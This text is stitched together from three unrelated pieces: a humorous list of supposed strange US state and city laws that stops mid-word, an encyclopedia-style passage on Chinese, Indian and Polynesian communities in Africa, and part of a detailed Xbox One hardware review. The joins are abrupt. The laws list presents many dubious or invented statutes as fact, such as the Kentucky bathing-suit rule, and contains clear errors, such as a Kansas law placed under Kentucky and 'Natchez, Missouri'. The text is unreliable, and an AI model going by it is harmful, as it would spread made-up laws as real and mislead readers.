Those who own or are employed by an establishment that serves alcohol (bars, restaurants etc) are prohibited by law from having a drink at the same establishment after closing time.
Running a tab is against the law in the state of Iowa.
This one made my head hurt. It is against the law for horses to eat fire hydrants in Marshalltown, Iowa. Seriously.
All hotels in Dubuque, Iowa are required by law to have a water bucket and hitching post at the front of the building.
Wow. Fire departments in Fort Madison, Iowa are required by law to practice fire fighting for fifteen minutes before they head out to fight a real fire. Hope it’s not a bad one!
Men are not legally entitled to wink at women they do not personally know in Ottumwa, Iowa.
If you are a piano player who only has one arm, don’t try to make a buck off your talent in Iowa where you are legally required to play for free.
Kansas
All businesses Dodge City, Kansas are legally required to provide water toughs for horses.
This is just asking for trouble. Should two trains meet on a track in Kansas, one is not legally entitled to proceed until the other has passed. This law applies to both trains which begs the question, how do they proceed?
If you say the name George Washington in Kansas City, Kansas, you are legally required to also say “blessed be his name” or you may face a fine of up to $0.50.
It is against the law to throw knives at men wearing striped suites in Natoma, Kansas.
It is against the law to put ice cream on cherry pie in the state of Kansas.
All cars entering Lawrence, Kansas are legally required to blow the horn before actually entering city limits to notify horses of their arrival.
It is against the law for persons to wear a bee in their hat in Lawrence, Kansas.
Not sure I see the logic here. While it is perfectly legal for a minor to purchase a shotgun in Kansas City, they are not legally entitled to purchase cap guns.
Musical car horns are against the law in Russell, Kansas.
It is against the law to install bathtubs in Topeka, Kansas.
Kentucky
Sending bottles of wine, spirits or beer as a gift to a friend is strictly prohibited by law in the state of Kentucky. Breaking this law is punishable by up to five years in prison.
This one kind of made sense at first glance as a woman standing on the side of a highway in a bikini could be distracting to some drivers and the distraction could result in accidents. That sense is thrown out the window when you read the law as it’s written. “No female shall appear in a bathing suit on any highway within this state unless she is escorted by at least two officers or unless she be armed with a club.” Right. It’s the club thing that throws you off right? Check out the amendment later made to the law. “The provisions of this statute shall not apply to any female weighing less than 60 pounds nor exceeding 200 pounds; nor shall it apply to female horses.” WHAT??
The state of Kansas requires any nude people in your home to be licensed. Licensed for what? Not sure. Not sure I want to know.
Not sure if you’re sober? According to Kentucky state law, you are in fact considered sober until you “cannot hold onto the ground.”
It is illegal to shoot off a policeman’s tie in Frankfort, Kentucky.
Every citizen of Kentucky is required by law to take at least one shower each year.
It is against the law for a woman to buy a hat without her husband’s permission in Owensboro, Kentucky.
Feel like taking a nude stroll around your property in Kentucky? You’re out of luck unless you feel like breaking the law or unless you have the appropriate permit.
Louisiana
Have false teeth? Want to bite someone? Better think again. In the state of Louisiana, biting someone with your real teeth is considered simple assault which is often tried as a misdemeanor. If you happen to have false teeth and bit someone with those? Aggravated assault – a much more serious crime with much more serious penalties.
Gargling in public is prohibited by law in the state of Louisiana.
It is against the law for a woman to drive a vehicle unless her husband is in front of the car waving a flag. Although I’m sure this one is just an old law that got forgotten about and is never enforced, it does make for an interesting visual.
A citizen of Lafayette, Louisiana who wants to play a musical instrument for any reason other than attracting attention is required by law to have a license to do so.
Know your limits in New Orleans, Louisiana, folks. While it’s perfectly legal to walk the streets or even drive with a drink in the city, should you have a little too much, fall over and block the sidewalk, you’ve known broken the law and could be charged.
It is against the law to have sex on a bed you are considering buying or to even pretend to have sex on said bed while you are shopping for mattresses or beds.
It is against the law for a mourner attending a wake to consume more than three sandwiches. The idea that there may be sandwich police out there commanding people to drop the ham and swiss or turkey on rye makes me smile for reasons I can’t entirely explain.
Tying an alligator to a fire hydrant is not only a stupid idea in the state of Louisiana but is also against the law.
Taxi drivers get no love – at least not while they’re working in the state of Louisiana where there is a law in place that prohibits taxi drivers from having sex in the front seat of their car for the duration of their shift. No word about the backseat though.
Snoring is against the law in Louisiana unless every window is closed and locked securely.
Maine
Not a fan of people who leave their Christmas lights up all year round? Neither is the state of Maine. Leaving your Christmas decorations up past January 14th could earn you a fine.
It is against the law to walk down the street while playing violin in Augusta, Maine.
This one seems like a good idea but should there really be a law prohibiting people from walking down the street with their shoes untied? Well, there’s one in Portland.
Got a cold? Better stay home in Waterville, Maine, where blowing your nose in public is against the law.
It is illegal in the state of Maine to step out of a plane in flight. I can’t imagine this one has ever been a problem for anyone who was actually concerned about breaking the law. Although, well, skydivers. Wonder if that counts.
Maryland
It is against the law to spit on the sidewalks in Baltimore, Maryland but perfectly legal to spit on city roadways. Aim carefully?
Cursing or swearing inside city limited is prohibited by law in Baltimore.
Throwing bales of hay from a second story window within city limits is against the law in Baltimore.
Taking a lion to the movies is prohibited by law in Baltimore. I’m sorry, I just don’t get that one.
In Columbia, Maryland, citizens are not legally entitled to have an exposed antenna outside of their home but are legally entitled to have a satellite dish up to 25′ in size. Similarly, citizens are not legally entitled to have clothes hanging on a clothesline outside of their home but are legally entitled to have clothes hanging over the fences of their home.
Citizens of Maryland are not legally entitled to eat while swimming in the ocean.
Forecasting the future or pretending to forecast the future is against the line in Caroline County, Maryland and a conviction for this crime could net the perpetrator a fine of up to $100 or six months in prison.
Blocking a sidewalk with a box in Baltimore, Maryland could land you a $1 fine.
Professional croquet players are not legally entitled to play the sport before 2pm on Sundays.
It is against the law to mistreat oysters in Baltimore, Maryland.
Washing or scrubbing sinks (regardless of how dirty they may become) is forbidden by law in Baltimore.
If a woman goes through her husband’s pockets while he is sleeping, she has committed a crime in the eyes of the law according to the state of Maryland.
It is against the law for a man to buy a female bartender a drink.
Selling condoms in vending machines is against the law in Maryland unless the vending machine is in an establishment where alcohol is served or consumed.
It is illegal to go to the park in a sleeveless shirt in Maryland. Breaking this law could net you a $10 fine.
It is illegal to raise or allow thistles to grow in one’s arm in Maryland.
Massachusetts
While engaging in sexual intercourse, it is against the law for the woman to be on top.
It is against the law for a establishment that serves alcohol to offer specials on drinks containing alcohol.
According to the law in the state of Massachusetts, all men are required to take a gun to church every Sunday.
Playing the fiddle in Boston is against the law.
Eating peanuts in church is against the law in Boston.
While on the grounds of the Boston Commons, women are prohibited by law from wearing heels over three inches in height.
No citizen residing in Boston, Massachusetts is legally entitled to own more than three dogs.
Bullets are not a legal form or currency in Massachusetts although I’m quite sure they’re not legal tender anywhere.
Children in Massachusetts are technically legally entitled to smoke although they are not able to legally purchase cigarettes.
Any citizen found guilty of defacing a milk carton may be fined up to $10.
In Hingham, Massachusetts colored lights on your home are prohibited by law if those lights are visible from main street. White lights are fine. Similarly, any citizen living on Main Street in Hingham must approve colors with the Historical Society before they may paint their house.
It is against the law to take a dog onto the commons in Hopkinton, Massachusetts despite the fact that it’s perfectly legal to take horses and cows there.
It’s against the law to frighten a pigeon.
It’s against the law to go to bed without a bath but it’s also against the law to have a bath without a physician’s permission. Pretty sure neither of those laws are enforced if they are in fact still on the books.
It is not only kind of gross to put tomatoes in clam chowder but it’s also against the law in the state of Massachusetts.
Selling less than twenty-four ducklings at a time before May 1st is against the law. It is also against the law to sell chicks, ducklings or rabbits that have been artificially colored (dye, paint, stain etc). I support this one entirely.
Squirt guns are against the law in Marlboro, Massachusetts. Buying, selling or possessing one is prohibited by law.
The mayor of Newton, Massachusetts is required by law to give every family in town a hog.
Gorillas are not allowed in the back seats of cars by law in the state of Massachusetts.
Reading books or newspapers in the streets after 8:00 pm is against the law in Southbridge, Massachusetts.
Michigan
Married women in Michigan state are technically not legally entitled to cut their hair without their husband’s permission because, according to the law, a husband owns his wife’s hair.
Any person over the age of 12 is legally entitled to a handgun license unless they’ve been convicted of a felony.
A farmer is legally entitled to have sex with his chickens, cows, goats, horses and pigs in Clawson, Michigan.
In Detroit, Michigan couples are legally entitled to have sex in their vehicles but only if the vehicle is parked on property owned by the couple.
It is against the law to sleep in a bathtub in Detroit, Michigan.
It a burglar or robber is injured while inside a home, that burglar or robber is legally entitled to file a law suit against the homeowner.
It is against the law to smoke a cigarette in bed in the state of Michigan.
Minnesota
Children under the age of 12 are not legally entitled to talk on the phone unless they are monitored by a parent in Blue Earth, Minnesota.
Every bathtub in the state of Minnesota is legally required to have feet.
Men who drive motorcycles are legally required to wear shirts while riding.
It is against the law to eat hamburgers on Sundays.
It is against the law to tease skunks in the state of Minnesota.
Mississippi
Adultery is illegal in Mississippi as is fornication. Fornication is defined under law as “living together while not married”. Breaking either of these laws could result in a fine of up to $500 or 6 months in prison.
Better avoid cattle rustling in Mississippi. This offence is punishable by hanging.
If you want to take your dog for a walk in Temperance, Mississippi you better make sure you have some doggie diapers ready as it is against the lot to walk your dog if it’s not wearing these garments.
It is against the law to “create unnecessary noises” in Oxford, Mississippi.
It is against the law for a man to become sexually aroused in public.
I’m not sure why one would want to but shaving in the center of Main Street is against the law in Tylertown.
“Unnatural intercourse”, even between two consenting adults, could mean up to $10,000 in fines and 10 years in prison. Insane.
Committing the crime of “vagrancy” could net you a $201 fine or 30 days in prison.
Missouri
A person under 21 who takes out the trash needs to be very careful about what is in those trash bags. If there is even one empty alcohol can or bottle in those bags, the person could be charged with illegal possession of alcohol.
I don’t know what this means but it sounds okay in my books. “Worrying” squirrels is against the law in Excelsior Springs, Missouri.
It is against the law for four or more women to rent an apartment together.
It is against the law to install a bathtub that has four legs that are similar in appearance to animal paws.
In Marceline, minors are prohibited by law from purchasing lighters. They are, however, allowed to buy rolling papers and tobacco.
In Mile, Missouri, it is against the law to frighten a baby. One question. Why would someone want to frighten a baby?
It is illegal to sell or give alcohol to elephants in Natchez, Missouri.
Montana
Not only is it against the law for a wife to open her husband’s mail, it’s classed as a felony.
If you have a sheep in the cab of your truck, it is required by law that you also ensure the sheep has a chaperon.
Unmarried women are not legally entitled to fish alone. Married women, on the other hand, are allowed to go fishing alone but not on Sundays.
Nebraska
If a child belches during church services, the parents of the child can be arrested.
Barbers are not legally entitled to shave a man’s chest in Omaha, Nebraska.
Tavern owners are not legally entitled to serve beer unless a pot of soup is also being prepared.
A mother is prohibited by law from giving her child a perm unless she has the proper license issued by the state.
Nevada
By law, a man is only allowed to buy drinks for himself and three other friends at any one time.
Pawning your dentures or false teeth is against the law in Las Vegas, Nevada.
Unprotected sex (sex without a condom) is against the law in Nevada.
It is against the law to serve alcohol to an imbecile.
It is against the law to ride a camel on any highway in the state of Nevada.
Hosting marathon dances is against the law in Reno, Nevada.
Hiding a spray painted shopping cart in the basement of your home is against the law in Reno, Nevada.
New Hampshire
It is against the law in New Hampshire to clean up a national park or forest without a permit.
It is against the law to pay off gambling debts by selling the clothes you are wearing.
It is against the law to check into a hotel giving a fake name.
If you use the bathroom on a Sunday in New Hampshire, make sure you don’t look up as looking up while using the bathroom on a Sunday is against the law in the state of New Hampshire.
New Jersey
It is against the law for a vehicle to pass a horse drawn wagon or carriage on the streets of New Jersey.
Frowning is against the law in Bernards Township, New Jersey.
Cat owners in Cresskill, New Jersey are required to attach at least three bells to their cat’s collar so that the cat will not be able to sneak up on birds.
Convicted of driving while intoxicated? No more vanity plates for you by law in New Jersey.
It is against the law to buy ice cream after 6:00 pm in Newark, New Jersey unless you have a note from your doctor.
Slurping soup is against the law in New Jersey.
Men are not legally entitled to knit during fishing season.
Frowning at a police officer is prohibited by law.
It is against the law to sell raw hamburger in Ocean City, New Jersey.
New Mexico
Women are not legally entitled to appear in public if they are unshaven in Carrizozo, New Mexico.
It is against the law to carry a lunch box on Main Street in Las Cruces, New Mexico.
New York
If you want to hang clothes on a clothes line you must have the proper permit to do so.
When a man leaves the house in Carmel, New York, he is required by law to ensure his pants and jacket match.
It is legal to teach a parrot to speak but it is illegal to teach a parrot to squawk.
It is against the law for a father to try to discourage feminine behavior in his son through the use of derogatory terms.
Jumping off the Empire State Building is against the law. Obviously.
North Carolina
It is against the law to use an elephant to plow a cotton field.
It is against the law to sneeze on the streets of Asheville, North Carolina.
If you sing out of tune for more than 30 seconds in Nags Head, North Carolina, you can be fined.
Oral sex is considered a crime against nature in the state of North Carolina.
The law requires dog owners to pay property taxes on their dogs in Rocky Mount, North Carolina.
North Dakota
It is against the law to serve beer and pretzels at the same time.
It is against the law to wear a hat while dancing or while attending an event where dancing may take place in Fargo, North Dakota.
Keeping an elk in your backyard sandbox is prohibited by law.
Falling asleep with your shoes on is against the law in North Dakota.
Ohio
Upfront – not sure this one’s true but apparently you need a license to kill a housefly within 16o feet of a church.
It is against the law to use or install slot machines in outhouses in Bexley, Ohio.
It is against the law for cars to frighten horses in Centerville, Ohio.
You must have a hunting license to catch mice in Cleveland, Ohio.
Because the shiny surface may reflect a woman’s underwear, women are not legally entitled to wear patent leather shoes in in Cleveland, Ohio.
Leaning against a public building in Clinton County, Ohio could earn you a fine as such an act is against the law.
It is against the law to excessively honk the horn on your vehicle in Fairview Park, Ohio.
It is against the law for a dog to urinate on a parking meter in Marysville, Ohio which I have to assume means it’s illegal to allow your dog to urinate on a parking meter as well.
Riding on the roof of a taxi cab is against the law.
Running out of gas is not only inconvenient but also illegal in the state of Ohio.
A woman who strips her clothing off in front of a man’s picture is breaking the law in Oxford, Ohio.
Unshaven women are not allowed in public in Oxford, Ohio.
Getting a fish drunk is against the law.
While you are legally entitled to throw a snake at someone in the state of Ohio, it is against the law to shake a snake at someone.
It is against the law to ride a horse over 5 MPH in Ohio.
You are not legally entitled to “parade” your goose down Main Street in McDonald, Ohio.
If you are driving and pass another car, you are required by law to honk your horn.
Oklahoma
If there will be a group of three or more dogs on private property at any given time, it is legally required that a permit is obtained and signed by the mayor.
It is against the law for women to do their own hair unless they have a state issued license.
Pigs (no more than two) may be kept as domesticated pets in a home in Broken Arrow, Oklahoma, if the pigs are less than 32 inches long.
It is against the law to make “ugly faces” at dogs. Doing so could net the perpetrator a fine, prison time or both.
Premarital sex is against the law in the state of Oklahoma.
Wearing books to bed is against the law in Oklahoma.
Putting a farm animal’s hind legs in one’s boots is against the law.
It is against the law to promote or publicize a horse tripping event.
Giving or receiving oral sex is considered a misdemeanor and can be punished by a fine of up to $2,500 and/or a year in prison.
Residents of Oklahoma are required by law to pay taxes on furniture and other personal items.
Tattoos are against the law in Oklahoma.
It is against the law to allow a mule to drink out of a bird bath in Wynona, Oklahoma. It is also against the law to wash clothes in bird baths.
Oregon
Want to install a burg |
Shanga", and "New Shanga", which the Chinese sailors had named. A local guide who claimed descent from the Chinese showed Frank a graveyard made out of coral on the island, indicating that they were the graves of the Chinese sailors, which the author described as "virtually identical", to Chinese Ming dynasty tombs, complete with "half-moon domes" and "terraced entries".[1]
Indians in Africa [ edit ]
The Indian community in Africa is found throughout the continent with large communities existing in South Africa, Mauritius, Réunion, and other parts of the continent. The arrival of Indians on the continent often coincides with the expanding European presence on the continent. There continues to be a notable Indian presence with numbers currently estimating roughly 2,750,000 Indians on the continent. There have historically been and continue to be tensions between Indians and black communities throughout the continent. The most notable example being the expulsion of Indians by Ugandan dictator Idi Amin. Other Indians came more recently to Africa as traders and professional workers especially in Mozambique with its huge group of Indians. Indians in Mozambique have had a long history with their origins in Mozambique.
Indians in South Africa [ edit ]
The first Indians in South Africa arrived on the Cape of Good Hope as slaves brought by the Dutch East Indies Company in 1654.[2] The slaves were bought from Muslim ruled regions on the Indian subcontinent.[3] However the most significant migrations of Indians came when the Natal become a British colony and large numbers were brought as Indian indenture system.Often serving as labourers on sugar plantations, but also in coal mines. More than 150,000 Indians were brought to the Natal over the course of 5 decades. The long term result was that by 1904 the Indian presence in the Natal outnumbered the white presence.[4] The Indian community has faced legal discrimination, and such discrimination was considered a justification for the Second Boer War.[5]
Indians in East Africa [ edit ]
Indians arrived in East Africa as workers to build the rail links in the region while it was under British rule. Originally arriving to build the rail line between Mombasa and Nairobi and laying the foundations for the colony of Kenya, many stayed in the region after the end of their labour contracts. Nearly 32,000 labourers were brought for the construction of this rail line.[6] Following the end of these contracts many brought family from the Indian subcontinent to the region as the new link allowed for significant commercial opportunity. Relations between Asians and the black majority have not always been easy; most notably, Idi Amin, dictator of Uganda, expelled all Indians in 1972.
Polynesians [ edit ]
The Merina people of Madagascar along with the Betsileo tribe are likely of Polynesian descent. Together, they represent about 35% of the population of the island of Madagascar. These two dominant ethnic groups are commonly accepted as indigenous to Madagascar, though they are likely descendants of Malay and Polynesian immigrations. For example, the Malagasy language is unrelated to nearby African languages, instead being the westernmost member of the Malayo-Polynesian branch of the Austronesian language family.
See also [ edit ]So is it a games console or the centre of the entertainment universe? Days after receiving our review unit, what's clear is that Xbox One boasts a wealth of intriguing, unique features and that there is merit in its alternative approach. But going into this hardware test, we couldn't help but wonder: is it the proverbial jack of all trades, master of none? Do the media features actually make a difference? Do they even work outside of the US? The design aesthetic of Xbox One is all about function over form, the machine itself calling to mind a utilitarian set-top box rather than a sleek, refined games machine of the future. Kinect stares at you when you first open the box, and it's a monster: weighty, large, complete with a connection cable that is longer, meatier and wider than we expected - industrial, even. This is followed swiftly by the revised Xbox joypad, headset and the 250W power brick - smaller than the launch Xbox 360's, and similar in terms of dimensions and design to the 360S's power supply. The tray lifts out revealing the Xbox One console itself. Dimensions and heft call to mind the original Xbox, and as the machine is lifted out of the box, we see a mixture of glossy, fingerprint-attracting plastic and matte air vents - lots of them, on three sides of the box. The device itself is uninspired in terms of its looks, almost as though it has been purposefully made to merge into the bank of characterless black slabs that live under the TV. Aside from some chrome-effect plastic flashes, the box is almost anonymous, save for the white Xbox logo. "The device itself is uninspired in terms of its looks, almost as if it has been purposefully designed to merge into the bank of characterless black slabs that live under the TV." The rear of the unit features LAN connectivity, HDMI input and output, Toslink audio support, plus a separate connection for Kinect. There are two USB 3.0 ports and an additional one on the side. It's clear that you get plenty in the large box, then, but there's no escaping the fact that $499 or £429 is a premium price point, and to our mind the biggest issue facing Microsoft isn't the difference in specifications between Xbox One and PlayStation 4, but the massive difference in price - an extra $100 or £80. You can't underestimate the importance of first impressions in high-end consumer electronics when that much money is on the line, and the quality and feel of the product out of the box offer the first validation of your purchase. Xbox One doesn't quite pass muster. :: The best Xbox One deals of Black Friday 2018 Functionality over form, then, and the Xbox One certainly has the heft of functionality all over it. To all intents and purposes, this is a full-fledged PC in a box: an Xbox One cold boot takes a remarkable one minute, eight seconds to complete (power-up from standby is a rather more sane 18 seconds), and during this time a refined, console version of the Windows 8 interface is loaded into memory. The machine wastes no time integrating itself into your system, either. Plug your set-top box into the console's HDMI input, tell Xbox One what TV (and optionally what receiver) you have and the console seamlessly takes control of the living room. "The power brick makes an unwelcome return, taking the form of a 250W adapter that's just a little bit smaller than the unit that shipped with the initial Xbox 360S." Gallery: Here's what the Xbox One's power adapter looks like, complete with a comparison shot showing how the dimensions stack up against the 360S's equivalent brick.
"Xbox on." You won't be throwing away your remotes once it's done so, but what genuinely surprised us is how well the Kinect-powered voice controls work. Navigating the user interface is usually easier using voice than it is with traditional joypad inputs, because the quality of the speech recognition is highly accomplished. We were impressed by the accuracy of the PS4 version last week, but its dictionary is significantly more limited than Xbox One's. Virtually every major UI option, game or app is accessible by voice on Xbox One and, by our reckoning, accuracy is probably in the 90 per cent range. Indeed, it's not knowing exactly what to say that accounts for many of voice control's misfires, rather than issues with recognition itself. Some commands require an "Xbox" prefix, others don't; sometimes Kinect seems to be in listen mode, other times it isn't. There's an inconsistency that doesn't feel quite right. What does work well is the UI's highlighting of specific options in green text - when Kinect is in "listen" mode, it's awaiting those specific commands, but when the text is white, Xbox One needs to be prompted back into voice recognition mode. Sometimes it feels as though Microsoft is just trying a bit too hard here. Attempts to use voice commands to click on certain links or access specific sites in Internet Explorer fail hard, for instance, to the point where the feature really shouldn't have been implemented there at all. Other commands - volume up/volume down, scroll up/scroll down - are just too time-consuming and limiting to get you where you want to be. In general, though, it works, and works impressively. Which is just as well, because it soon becomes clear voice control is a must owing to the arbitrary nature of the home screen, which seems to change all the time, with the limited amount of on-screen tiles adjusting to reflect current usage. This is all well and good, but it means that elements not on-screen are harder to find. Like the settings. It may not be on the home page, so calling out "Xbox go to settings" is a lot easier than digging about in the interface with the joypad. If you were to try to get there in the conventional way, you would need to select the apps tile (wherever it happens to be at the time), then scroll through until you find the settings tile beyond. "What we're looking at is a console version of the Windows 8 interface designed with voice control in mind." Gallery: So voice control becomes the default input interface. On the one hand this is great, because it works. On the other hand, though, it's not so great, because the main reason you're driven towards voice input is the counter-intuitive design of the user interface. It's something of a departure from Sony's simple but effective PS4 dynamic menus (where, despite the name, everything remains where it should be), and while it helps that you can take your favourite selectables and "pin" them into an area that lives to the left of the home screen, the pins feel like they're there to make up for the illogical structure of the UI.
Dashboard basics Looking at the user interface from a distance, there are three key elements that the dash interacts with: your TV hook-up, games and apps. Actual functionality in the user interface is fairly limited, because there's seemingly an app for everything - even basic system functions such as the settings, audio CD and Blu-ray playback are all covered off by apps, in addition to more exotic features like the Game DVR, Internet Explorer and Skype. Two apps can reside in memory at any given point, working alongside a game or live TV. It's possible to switch seamlessly between everything with voice commands - "Xbox watch TV, Xbox go to settings, Xbox go to Forza Motorsport 5" - which works out quite nicely. There's also Snap - designed to allow apps to work on-screen simultaneously with either TV or games. Here's where things get a little murky: Snap occupies 25 per cent of the screen's real estate along the right-hand side, so while you can run Internet Explorer alongside live TV or a game, unless you have a page formatted to work nicely on a 480-pixel column width, it's going to be next to useless. Things get a lot more interesting when, say, someone calls you on Skype. Here the app is designed to work in both full-screen and Snap mode, and it works fluidly. In many cases, though, snapping to an app during gameplay pauses the action, which seems to defeat the purpose of running both simultaneously. Pre-launch rumours about Snap being broken appear untrue though - it worked as intended on the beta build we saw in August and it's virtually unchanged here - it's just that actual applications for it are fairly limited right now. "From what we've seen, Microsoft's media focus may pay off handsomely outside of the core gamer audience, but its omission in key markets at launch is a real disappointment." Here's a taste of what we don't get in the UK or Europe - how Xbox One interfaces completely with your set-top box, integrating TV into the Xbox One feature-set. Other areas of the UI also remain untested. For example, the Live TV guide, which could be seen as the centrepiece for Microsoft's vision for the living room. We've seen how integration works in the US via Microsoft's various demos, but at the time of writing we found no support whatsoever for the UK's biggest satellite subscription service, Sky TV. Out of a population of 60m with 26.4m households, Sky has a remarkable 10.5m TV customers with half of them running HD boxes, yet Xbox One doesn't support it on day one. Sky's biggest rival - Freeview HD - also remains unsupported. Microsoft tells us that every country the machine launches in will have full support, but we have no idea on timescales and to be honest, this should have been sorted for launch. A grand vision has been promised - this was in fact Microsoft's opening salvo in Redmond this past May - but the delivery leaves much to be desired. It's a puzzling oversight for the launch, but perhaps highlights how US-centric Xbox One seems to be. The inclusion of the HDMI input assumes that the set-top box is the norm, for instance, ignoring the fact that a vast array of TVs ship with in-built TV decoders that we can only assume the Xbox One's guide functions will never work with.
Inputs and outputs: HDMI and Toslink audio Xbox One's HDMI input is a curious, platform-exclusive element of the package and it should work with virtually any source. We hooked up a PS3, a PS4 and Xbox 360 with no problem whatsoever, in the process confirming that Xbox One accepts any HDMI format we could throw at it - 480p, 720p, 1080i and 1080p - at both 50 and 60Hz to boot. The machine then adjusts the image to match the Xbox One's chosen settings, upscaling as appropriate. While you can feed in other consoles, it's not the best idea to do so as there's a clear additional level of latency added to the display chain. It's not severe at all - you're unlikely to notice it skipping through channels using your remote - but it is definitely noticeable during gameplay. Perhaps it's a moot point, but at this stage we also found no sign of any of Xbox One's hinted-at 4K support. Hooking up our 4K-capable PC to the Xbox One, display settings indicate a 1080p top-end on the console's input. The same PC has no problems at all locking at 4K at 30Hz via HDMI to a proper 4K display. Similarly, connecting the Xbox One to the 4K screen reveals no support for display outputs beyond 1080p. If it's going to be implemented, the chances are that it's coming at a later date, but the HDMI 1.4a interface common to both next-gen consoles probably won't support a 60Hz output anyway. Short of a semi-miraculous firmware update, only HDMI 2.0 will provide the bandwidth needed. "Xbox One is rich in display, audio and calibration options, to the point where there are HDMI support options for the most ultra-niche of components." Gallery: In the here and now, of the two next-gen consoles, it's Xbox One that has the more fully featured display support. Notionally, there's absolutely nothing wrong with the limited and full-range RGB and digital component options offered by PlayStation 4, but Xbox One goes the extra mile by providing display output options for the most ultra-niche of components - to the point where even 30 and 36-bit RGB displays are supported. An in-depth calibration tool is also provided to ensure that everything looks "just so" on your display. Thus far the only issues we've had with Xbox One came from the Battlefield 4 Stockholm event; since then, it's been plain sailing. Similar to PS4, the Xbox One also outputs to both HDMI audio and Toslink SPDIF simultaneously - with stereo, 5.1 LPCM, 7.1 LPCM and DTS supported on the former and stereo LPCM and DTS selectable for the latter. These are good, useful options providing the best possible formats for both audio outputs.
"Xbox go to Forza Motorsport 5" It's time to play some games. Slotting in a copy of Forza Motorsport 5, just a full-motion video intro stands between us and gameplay. What we're seeing here is the attempt to make Xbox One offer a traditional "plug and play" console experience, even though the game is installing from disc to the 500GB hard drive, just like a PC. The bare minimum of installed content gets you into the game, with Forza 5 guiding you through an initial start-up roster of gameplay while the rest of the 31.76GB installs in the background. Our other test subject - Ryse - does much the same thing, though there is no instant access in this case. There's a small, unavoidable mandatory install that takes around five minutes to complete before we get access to gameplay, with the full 34.94GB background installing as we play. About one hour and fifteen minutes later, the Blu-ray drive quietens down, suggesting that all the required data is now on the hard drive. That's rather slow indeed - our thought is that this is by design, drip-feeding the data onto the drive so the majority of HDD bandwidth is still available to the game. It's at this point that we can finally get a measure of how quiet the machine is when the core processor is put under serious stress. Previously we revealed that the console is designed to be always on for ten years - the duration of the console lifecycle - which explains in part the size of chassis. Running games is a seriously power-consuming business, and to ensure no repeat of the RROD fiasco, airflow and cooling is Xbox One's primary concern in terms of the form factor. In this sense, Microsoft has clearly delivered. "Xbox One is quiet to the degree that the Blu-ray drive is significantly louder than the cooler - even when we push the system to draw maximum power." Idle Blu-ray Gaming Gaming + Disc Install Max Temp 35 Degrees Celsius 37 Degrees Celsius 49 Degrees Celsius 49 Degrees Celsius Power Draw 65W 77W 125W 125W Noise: Close 42dB 43dB 42dB 43dB Noise: 1 metre 40dB 41dB 41dB 41dB Noise: 3 metres 40dB 40dB 40dB 40dB We measure a peak of 125W consumed during gameplay and a 49 degrees Celsius case temperature (directly above the processor, so effectively the exhaust), in an ambient 23-degree environment - as close as we could get to our PlayStation 4 testing. That's 15W off our measured PS4 peak and almost the same temperature level. The difference is noise: Xbox One is a remarkably quiet machine - virtually silent during front-end and media tasks and even at maximum load after several hours' worth of Ryse gameplay (curiously, Forza 5 appears to draw 10W less). It's to the point where the Blu-ray drive actually seems to make more noise than the cooling system, which is good news for gamers (after the game has installed anyway), but perhaps not quite so good news for BD movie viewers, where the machine is louder than PlayStation 4. Perhaps the vast array of air vents on the Xbox One casing allows the noise from the internals to travel more easily. Other metrics are intriguing - left standing at idle, the machine consumes 65W, with the vents outputting air at 35 degrees Celsius, while standby sees power drop to around 19W. Booting back into the system takes just 18 seconds and you do have the ability - in theory at least - to resume into gameplay. This process takes just 2.5 seconds but in the here and now it is rather unreliable - we've had game crashes and numerous restarts. It's a bit of a shame because the ability to pause gameplay, turn the console off and get back into the action exactly where you left it with just a 20-second wait sounds like a rather good feature. In fairness, though, the feature is labeled as a "beta", so we would hope that it will improve over time. With Forza 5 and Ryse installed to the hard drive, in addition to a number of other review titles, our concern now is all about storage management. Here's where things get a little strange. As far as we can tell, there is no storage overview to tell you how much hard drive space remains or allow you to delete items in one centralised location. There also appears to be no direct access to save games, either - these and game DVR upload clips appear to be synced with the cloud. It's interesting that in what is the most ambitious console operating system ever produced, the user seems more remote than ever from content. In many ways, it's also more of a closed box, too - even more so than the Xbox 360. Just like the PlayStation 4, it's impossible to play your own video files, for example. "Xbox One's new controller is fitted with similar DualShock 4-style super-grippy analogue sticks, with force feedback triggers the major innovation." Gallery: While Kinect is bundled with the package, the joypad still takes centre-stage for gaming. What we have here is a clear evolution of the existing Xbox 360 design. We love the force feedback on the triggers and the improved d-pad, but aren't so keen on the positioning of the bumper buttons.
Kinect 2.0: motion control and more It's easy to dismiss the return of Kinect as a massive faux pas on Microsoft's behalf. After an enormously successful debut - the most successful consumer electronics launch of all time in commercial terms - software support fizzled out very quickly, and key titles like Fable: The Journey and Kinect Star Wars failed to gain traction. Now Kinect has next to no cachet with core gamers, who view it as a busted flush - a device that has been completely discredited as a gaming interface, reduced to little more than a glorified microphone for bolted-on voice control functionality. Microsoft knows this as much as the core gamer, of course, and yet here we are with a new, improved - and yes - even bigger camera, which curiously seems to come with a camera mount tripod screw point on its underside. In keeping with its predecessor, the new Kinect is actively cooled, with a small fan mounted on the rear. As you might expect, the specs have been boosted considerably: there's a much wider field of view (we had it working quite nicely at close range from a desk in the Digital Foundry office) along with new time-of-flight technology, and an infra-red feed to match up with the RGB and depth data. Microsoft's leaked whitepapers suggest a 30ms improvement on latency, which should bring response closer to the joypad standard (latency in human movement is the greater issue). More skeletons can be tracked, user recognition is improved, and as we've previously discussed, voice control seems to be on an entirely different level. There's even the promise of biometric analysis, with game developers able to detect your heart rate, apparently based on tiny changes in skin tone. "The new Kinect's gaming credentials remain unproven, but its functionality on the dashboard is very impressive." Big and meaty - that's the new Kinect. Even the connection cable feels as though it's almost of industrial strength. Functionality is improved massively over its predecessor and its utilisation in the front-end is generally very impressive. So where are the games? What is curious is that the launch line-up features no great gaming showcase for Kinect, no killer app to redeem the device with the audience that defines the success of a console launch - the core gamer. Even Kinect Sports Rivals has been delayed, with just a "pre-season" demo available on Xbox Live. It's a single-event Wave Race clone, which doesn't offer up many clues on how the technology has improved - the nature of bouncing about on the water makes for a latency-tolerant experience. We've seen some impressive demos showing a very fast response from the new Kinect, but based on the launch there is little from a gaming standpoint to justify the expensive pack-in. With seemingly threadbare gaming support - even least from Microsoft itself - we can't help but wonder what's in it here for the gamer. Of course, for Microsoft, Kinect is about more than games, because it's a key part of Xbox One's integration into the living room, and there are some cute features. Skype video call integration, which sees video calls track the player, pans and zooms as appropriate and is quite impressive, while the player recognition and handling of multiple logins is also pretty much flawless. The Xbox One controller features a built-in IR emitter, so in combination with the skeletal tracking, the console knows which controller is paired with which player. Similarly, voice control can be tracked on a positional basis, meaning that individual spoken commands can be tied to each logged-in player. What we have, then, is a discreet system that generally just works, and which is obviously a natural part of Microsoft's vision for the living room, but offers little to interest Xbox 360's traditional gaming audience. The functionality is nice to have, and situated in a device that solves many of the 